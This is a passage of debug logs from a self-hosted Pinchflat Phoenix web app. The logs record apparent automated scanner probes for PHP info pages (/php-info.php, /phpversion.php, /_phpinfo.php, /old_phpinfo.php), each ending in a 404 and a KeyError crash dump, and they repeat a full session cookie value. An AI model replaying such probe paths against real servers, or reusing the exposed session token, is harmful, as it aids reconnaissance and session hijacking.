"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 237, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3541.0>, params: %{}, path_info: ["php-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/php-info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Fw8mBSmWJQAATsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 237, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 237, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, ha (truncated) 02:10:24.966 [info] GET /phpversion.php 02:10:24.966 [debug] QUERY OK source="settings" db=0.1ms idle=128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.966 [debug] QUERY OK source="settings" db=0.1ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.966 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.966 [error] #PID<0.3542.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 238) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpversion.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 238, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3542.0>, params: %{}, path_info: ["phpversion"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpversion.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7GAkgqUzHicAATtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 238, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 238, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:25.027 [info] GET /_phpinfo.php 02:10:25.028 [debug] QUERY OK source="settings" db=0.6ms idle=125.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.028 [debug] QUERY OK source="settings" db=0.2ms idle=125.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.028 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.029 [error] #PID<0.3543.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 239) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 239, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3543.0>, params: %{}, path_info: ["_phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/_phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7GPHK2Ce4rgAATuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 239, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 239, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, ha (truncated) 02:10:25.084 [info] GET /old_phpinfo.php 02:10:25.086 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=123.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.086 [debug] QUERY OK source="settings" db=0.3ms idle=119.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.087 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.087 [error] #PID<0.3544.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 240) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /old_phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 240, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3544.0>, params: %{}, path_info: ["old_phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/old_phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Gc3yt_V9t4AATvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 